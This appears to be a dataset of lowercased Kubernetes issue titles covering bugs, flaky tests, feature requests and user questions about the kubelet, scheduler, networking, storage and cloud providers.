provide a mechanism in kubelet device plugin manager to ensure per-container-creation allocate grpc call

emptydir should be allowed to be defined on pv to allow easy testing and local dev of pod templates that point to pv

fluentd logging should set dynamic elasticsearch type based on logged data

k8s.io  container lifecycle hook when create a pod with lifecycle hook when it is exec hook should execute prestop exec hook properly  conformance  {e2enode suite}

flaky,  serial  should not update pod when spec was updated and update strategy is ondelete

bootstrap rbac policy does not include permissions for replicaset/daemonset in apps api group

kubeadm install k8s 1.11.2, core dns unable to resolve internal domain name, such as kubernetes.default

docker complains \ authentication is required\  and fails to pull image when running k8s on local cluster

replication controller with nodeselctor conditional doesn't succeed if nodes are labeled after it is submitted

kubefed: allow modifying startup flags for federation control plane

15 second timeout for etcd migrate-if-needed.sh upgrade seems optimistic

notfound errors do not line up with api endpoint's group version

config map deletes existing files and sub directory at mount point

remove  pods should cap back-off at maxcontainerbackoff  from  slow ?

scheduling predicates should handle volumes which are referenced through a pvc

kubelet repeatedly crashing with  runtime/cgo: pthread_create failed: resource temporarily unavailable

replication controller send delete signal but delete fail then the pod always exist

podsecuritypolicy + rbac does not prevent privileged pods when more than one policy is in place

pod to pod can not be reached through service clusterip running in the same minion.

empty user and cluster in context created by \ kubectl config set-context\

re-enable rhel and centos targets for node e2e tests once they pass

k8s.io  load capacity  feature:performance  should be able to handle 30 pods per node {kubernetes e2e suite}

make cluster level logs easier to access using a cluster log browser pod

selectorspreadpriority for scheduler doesn't work as expected when create statefulset

set the svc nodeport to 6443 causes the cluster to not work properly

requirements for poddisruptionbudget, /eviction subresource, and preferavoidpods to graduate to beta and then v1

statefulset partitioned strategy vs parameterized roll out strategy

consider replacing k8s.io/apimachinery/pkg/util/diff with github.com/google/go-cmp/cmp

expose kube-controller-manager's \ terminated-pod-gc-threshold\  flag so it's configurable via script

k8s.io  pod disks should schedule a pod w/ a rw pd shared between multiple containers, write to pd, delete pod, verify contents, and repeat in rapid succession  slow  {kubernetes e2e suite}

cloud controller manager updating providerid blocked by validation rule

leaderelection lost, kube-controller-manager and kube-scheduler fatal restart

node wasn't tainted unreachable when taintnodesbycondition is enabled

e2e failure   sig-cluster-lifecycle  upgrade  feature:upgrade  cluster upgrade should maintain a functioning cluster  feature:clusterupgrade

add interestedresources as a pod filter based on pods' requested resources to extender config

remove volume.spec from attachedvolume struct of volumemanager's actual state of world

the header on the conformance document should show proper release information.

cabundle in webhook clientconfig should be able to be referenced instead of a string

gke persistent disk unusable after restart of container  on same host

should serviceaccountlookup be set to true in kubernetes apiserver

readiness and liveness probes report an event when container is not running

kubectl drain needs to be typecasted to node object instead of using values after introspection.

k8s.io  initcontainer should not start app containers if init containers fail on a restartalways pod {kubernetes e2e suite}

ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-cluster-new: broken test run

bad error message: no nodes are available that match all of the following predicates:: insufficient cpu  1 .

upgrade test failure  initializers should be invisible to controllers by default

add support for dns name as a field in networkpolicypeer and the application of that

pull-kubernetes-e2e-gke and ci-kubernetes-e2e-gci-gke failing  e86a79dc0b9fe8a51016

azure lb becomes unconfigurable if a single nic part of the backend pool fails

kubelet eternally stuck in mountvolume.waitforattach when attachvolume.attach failed with enable-controller-attach-detach false

k8s.io  configmap should be consumable from pods in volume with defaultmode set  conformance  {e2enode suite}

data too large, data for  kubernetes.container_name  would be larger than limit of  633785548/604.4mb

unmountvolume failed for volume secret volume with \ islikelynotmountpoint ... : stat...no such file or directory\

flake: nodelease when the nodelease feature is enabled the kubelet should report node status infrequently

failing test  kubeadm-kinder-master-on-stable failing due to errors unmarshaling config

parallelize evaluation of predicate and priority functions for a single pod across machines

check if it's ok for garbage collector to change objects in the local cache

could not push logs to elasticsearch, resetting connection and trying again. read timeout reached

kubernetes should not mount default service account credentials by default

use tensorflow-gpu image to create pod without applying for any gpu resource on the machine with gpu card, but when i login the container.  i can use gpu to train my tensorflow model

openssl vulnerability, need upgrade openssl to openssl_1.1.0f-3+deb9u2 version

kubectl mismatch version between client and server result in stuck pods in termination

cannot use initcontainer fields as values for environment variables

mac address in minion-1 vagrant image is set and differs from actual mac

mention the recommended taint api for nodes with specialized hw in taints documentation

defaulting is 35% of total conversion time and ~10% of total decode time

k8s.io  proxy version v1 should proxy logs on node with explicit kubelet port  conformance  {kubernetes e2e suite}

k8s.io  deployment iterative rollouts should eventually progress {kubernetes e2e suite}

azure: configure the properties of load balancer endpoint through annotations

user \ system:kube-controller-manager\  cannot create replicasets.extension

kubelet: lifecycle hooks can't write to termination message file

azure internal load balancer not automatically adding target network ip configurations

report a more human readable error message if mount an unformatted volume as read only mode

when i poweroff all nodes, i got all pods status is running, but i expected status is nodelost

k8s.io  services should prevent nodeport collisions {kubernetes e2e suite}

content negotiation incorrect when accept header uses type parameters

make it possible to override the timeout on a getlogs call in the client

failing tests  all gke related jobs are failing in release-master-blocking, upgrade, 1.11 release-blocking jobs

seemingly random ordering of json properties between the log entry and cloud logging

document recommended way to not fail requests during rolling update

k8s.io  docker containers should use the image defaults if command and args are blank  conformance  {kubernetes e2e suite}

k8s.io  hostpath should support subpath  conformance  {kubernetes e2e suite}

apiserver times out puts to /api/batch/v1 endpoints after etcd leader election

bug  function closures in addconversionfuncs is bound to same 'kind' variable

remove duplicated code from watch, stream, request methods in pkg/client/restclient/request

failure cluster  63cac4...  failed 198 builds, 31 jobs, and 1 tests over 1 days

external load balancer is not removed after the service is deleted on openstack cloud provider

kubelet 1.6.4 not deleting unused images when eviction-soft imagefs threshold met

failing tests:  sig-cluster-lifecycle  cluster-upgrade failing in sig-release-master-upgrade

k8s.io  network partition  disruptive   slow   k8s.io   replicationcontroller  should recreate pods scheduled on the unreachable node and allow scheduling of pods on a node after it rejoins the cluster {kubernetes e2e suite}

my kubelet can not work normally when the pod size larger than 110

unify resyncing in informer/controller frameworks among different controllers

hook for executing command before reducing number of pods deployed

client cert auth does not work when it is the only kind of auth in use.

sub-optimal sizing of buckets exposed in the apiserver_request_latencies metrics

\ kubectl describe cronjobs\  can't find resource  wrong api version

logs are mangled - all non-latin characters are replaced with unicode replacement character

integration test flake: failed: unexpected endpoints: timed out waiting for the condition

tests: e2e-node: container log path test only works for json-file

output from kubelet's configz endpoint is missing volumeplugindir field

apiserver's etcd client can get into a non-operational state, all calls on that resource 504

kubelet options : if missing --tls-private-key-file while providing --tls-cert-file leads to ambiguous error message

k8s.io  etcd failure  disruptive  should recover from sigkill {kubernetes e2e suite}

testtcphealthchecker unit test fails for go 1.8 ppc64le on master branch

insufficient documentation for hpa custom metrics based scaling - gke google container engine

\ nonewprivs\  is admitted only if the runtime is docker or rkt in kubelet

scheduler extender interface should be extended to support preemption

add kubelet /metric endpoints to measure and debug per pod startup latency

k8s.io  variable expansion should allow substituting values in a container's args  conformance  {kubernetes e2e suite}

cloud provider publicip resource leak when deleting and re-creating multiple services at the same time.

kubectl get rs <name> -w fails with error badrequest  unknown reason

how to let pods spread by idc like label in idc1,idc2,idc3...,but must in idc1/idc2/idc3 at the same time

equivalence class based scheduling feature is not well documented

number of \ loaded inactive dead\  systemd transient mount units continues to grow

failing test:  sig-network  loadbalancing: l7 gce  slow   feature:ingress  should be able to switch between https and http2 modes

rbd plugin looks for secret in pod namespace instead of pv namespace

k8s.io  projected should update labels on modification  conformance   volume  {e2enode suite}

soak test fails consistently, \ regular resource usage tracking resource tracking for 0 pods per node\

how can i schedule my pods on wanted nodes with my custom policy?

create 2 crd with  the same crdgroup, fail to watch one crd with error \ 404 not found\ .

unable to mount hostpath file volume to a directory mounted by a secret volume

pod of deployment can't be deleted during the eviction after node becomes \ notready\

protobuf maps aren't order stable, defeating the \ no mutate on write\  guarantee

version of calico's typha daemon in add-on needs to be revved to pick up critical fixes

apiserver doesn't retry etcd connections in case of network partition

error message \ the server could not find the requested resource\  lacks context

storage: devicepath is empty while waitforattach in statefulsets

github.com/opencontainers/runc/libcontainer/selinux moved to github.com/opencontainers/selinux/go-selinux

move node condition filter in scheduler.factory into a new predicates

controllers should respect the initializers in the podtemplatespec

failure cluster  f2cf02...  failed 101 builds, 17 jobs, and 1 tests over 1 days

add docs on the predicates that prohibit a node from receiving load balancer service traffic

gbk file being read as utf-8 when run \ kubectl create configmap --from-file\

gc controller should ignore all resources which do not have ownerref or dependents

incompatibility for kubelet stats api and cadvisor docker-only option

federation  federated deployment updates do not respect readyreplicas

kubernetes cassandra operator error - i getting below error while creating cassandra operator for kubernetes. have anyone encountered this error before?

kubectl taints unit testing framework rewrite to include a mock builder

master configs should be similar across kubemark and real cluster

pods can't communicate with kube-apiserver in multi master cluster

flaky test :  sig-api-machinery  aggregator should be able to support the 1.7 sample api server using the current aggregator fails on \ pull-kubernetes-e2e-gce\  and \ ci-kubernetes-e2e-gci-gce\

kubernetes should support a grace periode for pod termination and sigterm/lifecycle

gonum.org/v1/gonum module conflicts with use of golang.org/x/exp/inotify

add an autoscaling step before cool off number for replicas in an hpa

suddenly getting tls handshake timeout on most requests to the api server

add complex scheduling constraints and preferences to scalability tests

kubelet can panic when trying to determine the pids for a cgroup

azuredisk provisioning doesn't use correct endpoint for azure germany

support liveness and readiness probe with http check that checks response text

podsecuritypolicy inside a namespace can't use clusterrole, but works with role

ci-kubernetes-e2e-gke-container_vm-1.3-container_vm-1.5-upgrade-cluster: broken test run

initcontainers ignored with mixed versions of kubectl and server

how can i update the single replica out of three replica of the running pod?

conformance test for daemonset rollingupdate to rigid on timeout

k8s.io  kubectl client  k8s.io  kubectl taint should update the taint on a node {kubernetes e2e suite}

unable to mount volume gcepersistentdisk with readonly: true for multiple pods  timeout expired waiting for volumes to attach/mount

if node is unreachable, also set networkunavailable/inodepressure to unknown

test failed   1.10 upgrade  cadvisor should be healthy on every node

scheduler and pv_controller info not sync caused volume reclaimed

restoring persistentvolumeclaim with dynamic storage after it's cluster is deleted

when using ipvs with graceful termination, connections to services with sessionaffinity are not expired

services are not accessible through all the masters using nodeport

admissionwebhook e2e tests potentially flake in parallel, should scope to specific namespaces/objects

kube-scheduler gets stuck if there's a pod in a namespace that doesn't exist assigned to a node that doesn't exist

kubectl apply should change the env variables order as per the new order

gcloud service of type loadbalancer: on service deletion the forwarding rule is destroyed but the associated target pool is leaked

pr:pull-kubernetes-e2e-kubeadm-gce flaked 64 times in the past week

umbrella: remove feature-gate-conditional validation for existing objects

federation-up.sh fails with an odd error if kube-apiserver files are not there.

controller manager cannot determine if scheduledjob needs to be started

separators for finalizer name and initializer name are different

kube-proxy ipvs mode does not populate filter table.  merge issue or intentional?

unlike \ docker stop containerid\ , \ docker pause containerid\  doesn't trigger the creation of a new container

cannot specify multiple node names for daemonset in matchfields selector

aws: document asg spanning multiple zones \ trick\  for easy ubernetes lite

storage  add support for capacity isolation of shared partitions

can i know when will be the kubernetes cron jobs beta/ga release?

failure cluster  f37f41...  failed 119 builds, 10 jobs, and 7 tests over 1 days

kube-proxy logs exploding in 4000-node scale tests with services enabled

flexvolume  consider adding json options to unmount and detach call-outs

kubelet failed to get the info of the filesystem, image garbage collection failed

custom resources with finalizers can \ deadlock\  customresourcecleanup.apiextensions.k8s.io finalizer

kube-controller-manager becomes deadlocked but still passes healthcheck

e2e pd tests should centralize their code for graceful and ungraceful testing

log rotation on node breaks kubectl logs --follow / docker logs --follow

fix gce persistent disk driver and docs wrt multi-access to rwo on a node

gce: apiendpoint specifies alpha/beta/v1 but doesn't support simultaneous use

kubeadm setup to kubectl proxy => http: proxy error: x509: certificate is valid for  internal ips

interpolation of pod environment variable in args of another pod

we have no way to simultaneously enable imagepolicywebhook and mutatingadmissionwebhook admission plugins

csi plugin_watcher does not report missing socket, gives opaque error message

pulling kubernetes components images from a private container registry

multiple kops bazel jobs failing due to --experimental_remote_spawn_cache flag

improve ability to debug e2e failures for namespaces that don't delete in time

quota not counting nodeports allocated for services of type loadbalancer

bazel build fails on mac with standalone strategy due to linux dependency

error volumeclaim is not bound, but it actually bound  rbd storageclass

question: support scheduling pods according to node resources change in real-time

e2e test failure:  k8s.io  loadbalancing: l7  k8s.io   slow  nginx should conform to ingress spec  failure cluster  1e796c...  failed 121 builds, 23 jobs, and 3 tests over 1 days

scheduler  node may lose a few resources when pod delete event is lost

controller-manager crash loops if gc controller doesn't have access to extension apis

fetching gcp oauth2 token failure due to repeated tls handshake timeouts

1.14-beta2  coredns imediatelly crash if kubernetes api is unavailable

statefulset deletion leaves an orphan pod if the pod label has been changed

crds merge-patch failing with \ unable to find api field in struct unstructured for the json field \ metadata\ \

hpa no longer works with adapters exposing custom metrics v1beta1 api

prevent evicted pods from being scheduled back onto the same node

how to involve an alarm function in the monitoring system  heapster & influxdb & grafana   ?

kubeadm init fails if service cidr range ends with a non-zero ip

code-generator: allow instantiation of multiple generators in one process

container spec hash changed. container will be killed and recreated.

proposal: change default behavior of deployment.spec.revisionhistorylimit to a limit

setting secretkeyref for container environments does not allow bools or ints

docker reports incorrect exit code for containers if the docker service was restarted

apply command does not apply new configuration correctly in deployments

better error message when noderestriction admission controller blocks a request

k8s.io  services should release nodeports on delete {kubernetes e2e suite}

kubernetes apiserver should throw errors if it's ca files don't match  extension-apiserver-authentication

daemonset with node affinity for \ dynamic\  labels only works with one candidate value

ebs volume is attached, but node actually doesn't mount the volume device.

job and pod does not terminate even after exceeding activedeadlineseconds.

k8s.io  resourcequota should create a resourcequota and capture the life of a persistent volume claim. {kubernetes e2e suite}

k8s.io  projected should update annotations on modification  conformance   volume  {e2enode suite}

etcd2 -> 3 upgrade: do we need to go read-only for multi-master?

failure cluster  ab3c21...  failed 56 builds, 7 jobs, and 2 tests over 1 days

kube-apiserver auto generated spf13/cobra documentation misses  --v  switch.

retries for kubelet plugin registration should be at a lower layer

skewtest failing in master-upgrade:gce-master-new-downgrade-cluster

create cookbooks / playbooks / cheatsheets for common use cases and scenarios

kubelet status manager should store status in the pod manager instead of its own cache.

node disconnect and re-connect to cluster leads to duplicate pod name and then unexpected results

failed to \ startcontainer\  for \ etcd\  with crashloopbackoff ubuntu:17.10

elasticsearch addon plugin base image has security vulnerabilities

k8s.io  kubectl client  k8s.io  kubectl run default should create an rc or deployment from an image  conformance  {kubernetes e2e suite}

system:serviceaccount:kube-system:certificate-controller  is lacking permissions to delete csrs

secret coordinating with serviceaccount is not changed when serviceaccount bind a cluster

we should use targeted watch a poll on the cache in deployment controller

selinuxoptions in pod level and container level has different result

addon-manager's using released kubectl binary is causing problems

failure cluster  aee02e...  failed 64 builds, 21 jobs, and 33 tests over 1 days

antiaffinity pods scheduled to the same node during scheduler leader-election

cluster nodes won't never scale down to default number of counts if i update/deploy a deployment on scaled-up node

containers periodically killed due to kubelet \ no such container\  error

sample-apiserver does not have script or instructions for building

deploying applications to kube should take into account security and the permissions necessary to accomplish their goals

too long time needed for a job to be killed after exceeding relatively short activedeadlineseconds

k8s.io  cluster size autoscaling  slow  should disable node pool autoscaling  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

add the  serial  label on the federation e2e tests that must be run serially.

portworx volume provisioner does not support many volume parameters

apiserver panic on 1.7.3  --admission-control=namespacelifecycle

flaky test:  sig-storage  volume plugin streaming  slow  glusterfs should write files of various sizes, verify size, validate content

failing test: dns configmap federations should be able to change federation configuration

openstack lbaasv2: ensureloadbalancer should clean up created objects upon error

make test-cmd failing locally with permission error for dockershim

kubectl describe serviceaccount have redundance null line, we should keep accordance for kubectl describe command

kubelet: http liveness probes should not be run when no connection to the apiserver exists

make the kubeconfig context for federation api server configurable.

generated release_1_5 clientset should create pods, delete pods, watch pods

\ requested an external service, but no cloud provider supplied\  error when creating a guestbook service

kubedns-masq and sidecar containers crash after doing nslookup @kubernetes/sig-network-bugs /sig area/dns

factor out aws's volumes interface and extend its usage to other cp

service.spec.selector is not io.k8s.apimachinery.pkg.apis.meta.v1.labelselector

default apps/v1beta2 statefulset and daemonset strategy to rollingupdate

rbac deny from get nodes, patch nodes/status, watch pods when using node authorization

azure cloud provider can not properly handle recreation of the pod with pvc

open file descriptor usage increases steadily over time for kube-apiserver and kubelet with heketi/glusterfs

support routing based on request method and changing it in ingress

k8s.io  kubectl client  k8s.io  simple pod should return command exit codes {kubernetes e2e suite}

kube-controller-manager stops after few minutes in multi-master set up

failing test on alpha cis: \  sig-auth  advanced audit  feature:audit  should audit api calls\

wip: proposal for moving \ printers\   kubectl get  to the server

remove deprecated alpha for volume provisioning, if we're happy with beta

daemonset should respect  node status like mem and disk pressure

flaky test  kube-proxy migration jobs often fail on ingress resources comparision

daemon sets should throttle pod recreation when the pod failed because of eviction

race condition of securitygroup/routetable/loadbalancer setup in azure cloud provider

k8s.io  pods should be submitted and removed  conformance  {kubernetes e2e suite}

storage provisioning: false message indicating volume provisioning failed when using external dynamic provisioners

jsonpath: missing  left' in filter has confusing error message and fails unexpectedly

cloud-controller-manager image does not have ca certs pre-installed

pod/container can steal cpu/memory resources if cluster admin did not set \ minimum\   not maximum  limitrange

it should be easy to extract configmap/secrets to disk and to mutate key/values on them

schedulerpredicates e2e tests running for an hour each in the master upgrade jobs

removing dynamic resource during e2e disrupts unrelated namespace cleanup

disallow priorityclass names with 'system-' prefix for user defined priority classes

pr:pull-kubernetes-federation-e2e-gce flaked 94 times in the past week

post rejects base64 data containing newlines, but patch accepts it

use the same validation for clusters in apis/federation/validation as in controllers/util.

k8s.io  cluster size autoscaling  slow  should increase cluster size if pending pods are small and there is another node pool that is not autoscaled  feature:clustersizeautoscalingscaleup  {kubernetes e2e suite}

1.6.0 kubelet fails with error \ misconfiguration: kubelet cgroup driver: \ cgroupfs\  is different from docker cgroup driver: \ systemd\

failure cluster  63a364...  failed 54 builds, 37 jobs, and 25 tests over 1 days

containers injected via mutatingadmissionwebhook do not get default sa volumemount

federation  kubectl delete cluster doesn't clean controllermanager

add flannel -public-ip to support custom openstack using floating ip

remove linkage to cloud providers in persistent volume label controller

service controller can leave orphaned load balancers after services are deleted

allow e2e serviceloadbalancer test to run without cloud provider

k8s.io  garbage collector  feature:garbagecollector  should delete pods created by rc when not orphaning {kubernetes e2e suite}

cannot use dash in environment variable names in a pod definition

servicecontroller updateloadbalancerhosts   drains all external load balancers during full master disruption

kube-proxy panic because of service sessionaffinityconfig is nil

glusterfs expandvolumedevice calculates size to expand to incorrectly

occasional imagepullbackoff errors when pulling large docker images

automatically load ipvs required kernel modules in startup scripts

default regular expression for long running requests does not match .../pods/.../log

make logs -t and alias for logs --tail ... and allow no argument

kube-proxy's default behavior of using nodeip 127.0.0.1 when nodeip is nil seems problematic

kubectl doesn't respect --user parameter when execution create clusterrolebinding

kube-proxy has --master option while kubelet --api-server option for api servers

ci-kubernetes-e2e-gke-gci-1.3-container_vm-1.5-upgrade-cluster: broken test run

k8s.io  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate

deprecate and remove flags and conditions replaced by eviction flags and conditions.

vsphere cloud provider:  volume detach is not issued when vm is not present

failure cluster  d49717...  failed 160 builds, 13 jobs, and 1 tests over 1 days

change apps/v1beta2 statefulset observedgeneration from a pointer to an int for consistency

api server overloaded, apparently due to dns autoscaler config changes

statefulset creates multiple controllerrevisions on controller restart

fluentd-elasticsearch logs mapping issue  kubernetes 1.1.1 + aws

node not exist failure during node status update flush controller's log

kubelet pleg races with apiserver updates and results in empty podip

test failure: certificates api should support building a client with a csr

pod in graceful termination should not be on the ready address list of related endpoints objects

createcontainerconfigerror: error: failed to prepare subpath for volumemount when using an emptydir and the subpath is a file

move  rotatecertificates  from kubeletflags to the beta kubeletconfiguration

kubelet's enable-debugging-handlers command line flag should default to false ?

can kubernetes support to recreate container_b when container_a in the same pod is recreated?

k8s.io  secrets should be consumable from pods in env vars  conformance  {kubernetes e2e suite}

upgrade test failure  restart  disruptive  should restart all nodes and ensure all nodes and pods recover

extension api server and aggregator server's openapi spec missing x-kubernetes- extensions

1.9 bug  v1.list error: unable to recognize apps/v1, kind=daemonset: no matches for apps/, kind=daemonset

node's providerid is wrong for azure vmss when using instance metadata

backofflimit 0 with restartpolicy: onfailure does not start pods in 1.10.x

getting \ runtime network not ready: networkready=false reason:networkpluginnotready message:docker: network plugin is not ready: cni config uninitialized\

pods sit in containercreating for a long time in presence of a large number of serviceaccount imagepullsecrets

testapi.go should support multiple versions like our regular groups do

pull-kubernetes-e2e-gce-etcd3: hack/e2e-internal/e2e-down.sh command killed by keyboard interrupt

kube 1.8 deployment garbage collection doesn't work with --leader-elect=false

kubectl cp fails when attempting to copy files from secrets mounted as directories

api: persistentvolumeclaim requests should not use pod requests type

pod with a subpath that is oom killed does not recover if volume contents change

cross site scripting  reflected  vulnerability in kube-apiserver proxy

hack/verify-generated-protobuf.sh is not working in the build guards

kubeadm cannot work with external cloudprovier under selfhosting mode

pod deleted about a minute after creation by system:serviceaccount:kube-system:pod-garbage-collector?

flaky test:  sig-scalability  density  feature:performance  should allow starting 30 pods per node using { replicationcontroller} with 0 secrets, 0 configmaps and 0 daemons

activedeadlineseconds is not able to be updated to greater value

better to provide an option to trigger a callback when a pod terminates ...

sig-storage  in-tree volumes  driver: nfs   testpattern: dynamic pv  default fs   provisioning should provision storage with mount options failing on fedora/rhel and cri-o

tests must use setfeaturegateduringtest instead of defaultfeaturegate.set

deleting a namespace depends on kubernetes apiservice, causing namespaces to be stuck in terminating state.

e2e test  networking iperf failed due to invalid  bandwidth  string with newline

matchlabels from networkpolicy's podselector not working as expected

hack/update-bazel.sh fails with several complaints about \ too few values in struct initializer\

flaky test:  sig-scheduling  limitrange should create a limitrange with defaults and ensure pod has those defaults applied

problem about defaultnotreadytolerationseconds and podevictiontimeout

discuss:support local files in cluster\\ubuntu\\download-release.sh

kubefed init should generate username/password for admin account and tokens for components

kubectl set image local will occur error when resources is daemonset

usability: the event for a failed mount is not designed for humans to read, and may even be harmful

fsgroup check in local volume plugin doesn't work for containerized kubelet

process instalbility observed when running inside a container laucnhed with daemonset

udp proxyloop should spin goroutine to handle writes to the connection

\ too many requests\  in apiserver due to kubelet & npd in 4k-node scale tests

kubeadm init --kubernetes-version v1.9.3 dial tcp  ::1 :10255: getsockopt: connection refused

multiple same headers got wrong result on gcr.io/google-containers/echoserver:1.10

mark volume as detached if instance is deleted from cloud provider.

fc volume can't be attached with \ mountvolume.waitforattach failed\

kubectl logs  panics when container has  allowprivilegeescalation: false

gce: ignore resource not found errors when deleting lb resources

kubectl logs --help suggests: interactive=... if true, prompt the user for input when required.

kubectl wait with selectors does not output anything if resource is not found

identify e2e tests that rely on events and thus flaky, rewrite to avoid

kube-proxy could reject packets for service ips on non-service ports

federated sync controller e2e tests are chosen and run at random

insufficient permissions for rbac role system:kube-controller-manager

kudernetes commands error out dial tcp i/o timeout. kudeadm join command fails.

cannot update kubernetes api server running as a pod -- failed deleting a mirror pod

azure_file volumes should allow setting of dir_mode and file_mode

etcd clientv3 and grpc log can never print out because we don't specify a logger.

request for clarification: how are services scheduled onto nodes?

upgrade failure: schedulerpriorities  serial  pod should avoid to schedule to node that have avoidpod annotation

configmap/secret volume can become orphaned at termination if a required configmap/secret never exists

/api/v1 does not list any verb for \ pods/attach\  and \ pods/exec\

report cpu usagenanocores for pods/containers in summary api on windows

kubernetes aws stuck -tls handshake error in kube-api - in version 1.3.0

feature able to stop/restart/scale specific pod labled by pod-template-hash in one deployment

error \ tls handshake error from\  while making api request to https instance

k8s.io  daemon set  serial  should adopt or recreate existing pods when creating a rollingupdate daemonset with matching or mismatching templategeneration {kubernetes e2e suite}

take pod number into consideration for scheduling algorithm in  priority  stage

k8s.io  pods should have their auto-restart back-off timer reset on image update  slow  {e2enode suite}

spec.selector.matchexpressions for deployment/replicaset not working properly

failing test :  sig-network  upgrade  feature:upgrade  master upgrade should maintain a functioning cluster  feature:masterupgrade

move e2e tests involving redis, cassandra, spark, storm, etc to charts

cleanup  service controller should not import node label constants from kubeadm

hostpath volumes used with subpath volume mounts don't support reconstruction

add a warning/notice when kubectl and server version are far apart

kube-apiserver should oportunistically notify about its startup readiness

kube-apiserver service endpoints got flushed after restart controller-manager

reach out to other open source gh projects with likely similar pr workflow needs

unable to build peer-finder for all the archs as mentioned in baseimage file, getting  \ temporary failure resolving 'deb.debian.org'\

kubelet failed to start because it failed to get zone from vsphere cloud provider

improve documentation on how authentication is handled in kubernetes

should have '--selector' option for create service command to specify the labels

gke network load balancer doesn't get deleted on service deletion

kubectl: insecure-skip-tls-verify doesn't work when using an http proxy

test failure: networking should provide unchanging, static url paths for kubernetes api services

informer-gen should not require an internal informer to be generated

flaky test :  sig-autoscaling   hpa  horizontal pod autoscaling  scale resource: cpu   sig-autoscaling   serial   slow  replicationcontroller should scale from 5 pods to 3 pods and from 3 to 1 and verify decision stability

an error occured when deleting a job and then creating a same one

pod containerport does not match service targetport, but application still works properly

/etc/hosts is not needed during run-prepared command through kubelet with rkt

routecontroller is bahaving strange when creating routes for large clusters

openstack provider fails to locate volumes within hyper-v guests

api server can return \ unauthorized\  responses immediately after startup

k8s.io  statefulset  k8s.io  basic statefulset functionality should provide basic identity {kubernetes e2e suite}

dockershim should support getting credentials from config.json/dockercfg files for pulling podsandbox images

ipv6: client-go update to handle ipv6 addresses for portforwarder

kubelet does not have clusterdns ip configured and cannot create pod

azure  controller-manager is stuck in deleting lb because it's unable to delete a failed service referencing a non-existent ip

make test_e2e_node fails with systemd+devicemapper when reading container disk usage

kubectl apply for daemonset and deployment have different behavior with rollingupdate

new pods fail when scaling up or redeploying deployment while service is running

mac os/docker-machine  could not connect to rsync container. see build/readme.md for setting up remote docker engine.

oc get pods --selector help page should give example of how to use multple selectors

surface additional signals via e2e_node test for device plugin infrastructure

linux kernel panic and reboot under some conditions with cpu-manager-policy set to static

awscli should not be installed at test time  and related pip warnings are distracting

histogram metrics generating overwhelming number of prometheus metrics

user confusion on namespace field for non-namespaced objects  swagger

allow reusing api deep copy functions without having to register all of them

podtolerationrestriction admission controller can't use embedded configuration

podspec comment on serviceaccountname references non-existent markdown url

check kube-proxy, and all other \ kube-system\  pods health in vagrant validator.

federation e2e tests must clean up dynamically provisioned pds while tearing down the clusters.

k8s.io  nodeproblemdetector  k8s.io  kernelmonitor should generate node condition and events for corresponding errors {kubernetes e2e suite}

checkpointnotfounderror is not returned on getcheckpoint on error

error: you must be logged in to the server - the server has asked for the client to provide credentials - \ kubectl logs\  command gives error

use kube_build_with_coverage directly in kube::golang::build_some_binaries

failing test  testing/load/config.yaml failing on master-informing

after azure disk attach succeeded, always return lun -1  which is incorrect

consider removing influxdb-grafana-controller from kube-system when running e2e test?

delete & stop publishing kubernetes-release/release/latest.txt, it is a confused concept

volume's attachments is none when volume's status is 'attaching'

cannot connect different node's pod when using networkpolicy in weave-net

pr:pull-kubernetes-e2e-gce-device-plugin-gpu flaked 22 times in the past week

zone dependant mount target for nfs  or referencing az based services in zone agnostic way

k8s.io  rescheduler  serial  should ensure that critical pod is scheduled in case there is no resources available {kubernetes e2e suite}

when using elbsecuritygroup cloudconfig with aws, the sg's rules flap

kubectl should detect when it did not receive the entire http response

built in support for dedicated nodes with extended compute resources  auto toleration

pod state: crashloopbackoff;  logs: java.net.unknownhostexception <pod name>.  k8s-dns error

failure cluster  52d977...  failed 113 builds, 113 jobs, and 1 tests over 1 days

e2e flake  garbage collector should not be blocked by dependency circle

failure cluster  fa40ae...  failed 85 builds, 10 jobs, and 1 tests over 1 days

feature request  add a \ job status\  feature similar to \ rollout status\

unexpectedly broken test in ownerreferencespermissionenforcement admission controller

failing test: should reconcile lb health check interval  slow  serial

k8s.io  networking should provide internet connection for containers  conformance  {kubernetes e2e suite}

kubelet stops posting nodeoutofdisk condition while scheduler is still checking

ubernetes lite in gce does not allow to change node configuration

k8s.io  kubelet cgroup manager pod containers on scheduling a besteffort pod pod containers should have been created under the besteffort cgroup {e2enode suite}

gce: service controller attempts firewall rule deletion when using different network project

transient non-authoritative dns responses returned for kubernetes.default.svc.cluster.local

enable memory and disk usage based eviction by default in future releases

failure cluster  728c3f...  failed 55 builds, 1 jobs, and 1 tests over 1 days

e2e flakiness:  k8s.io  restart  disruptive  should restart all nodes and ensure all nodes and pods recover

kube-proxy/ipvs: arp_ignore and arp_announce break some cni plugins

building on mac results in kube_server_platforms @ : unbound variable

kube-controller-manager crash looping with \ nil pointer dereference\  in volume/cinder/cinder.go

tutorial: part \ installing a sample application\  is not working

user should be able to update  metadata.generation  field of a custom resource

rollinguodate for statefulset delete pod firstly,then create pod of new version

create secret with invalid base64 data gives unhelpful error message

bug in release-1.3  removes leading characters in etcd3 endpoint url

add support to use namespace specific snat ips to outside from cluster

frequent apiserver 500 on delete pods associated with key not found from etcd.

kubectl client kubectl rolling-update should support rolling-update to same image  conformance  {kubernetes e2e suite}

controller-manager  in 1.5.5  partially ignores --use-service-account-credentials

is there a way to specify api server ip for cluster-proportional-autoscaler-amd64 image

kubectl: multiple issues of -l/--selector overwrites previous ones

accessing clusterip services from a pod on the same node fails in ipvs proxy mode

creating a docker registry secret with dry run and output yaml flags doesn't print a valid kubernetes secret

deleting replication controllers causes them to create massive amounts of extra pods

cover all api operations for  /v1/  /deployments/    in e2e tests

code issues 520 pull requests 44 projects 2 wiki insights unable to mount volumes for pod \ nginx-flex-smb_default 0f5a661e-da24-11e8-95ec-42010a8e0 008 \ : timeout expired waiting for volumes to attach or mount for pod \ default\ /\ nginx-flex-smb\ . list of unmounted volumes= flexvol-mount . list of unattached volu mes= flexvol-mount default-token-ktz22

secrets guide references rolling-update and could use deployment version of language

k8s.io  resourcequota should create a resourcequota and capture the life of a replication controller. {kubernetes e2e suite}

a lot of wrapped_wrapped_config.deleting~ file, and kubelet can't work

read only persistentvolume mounts gcepersistentdisk in read/write mode

openstack loadbalancer service can potentially assign floating ip to unrelated resource instead of neutron load balancer

kubelet stop posting node status node notready  when change the date time to an earlier time

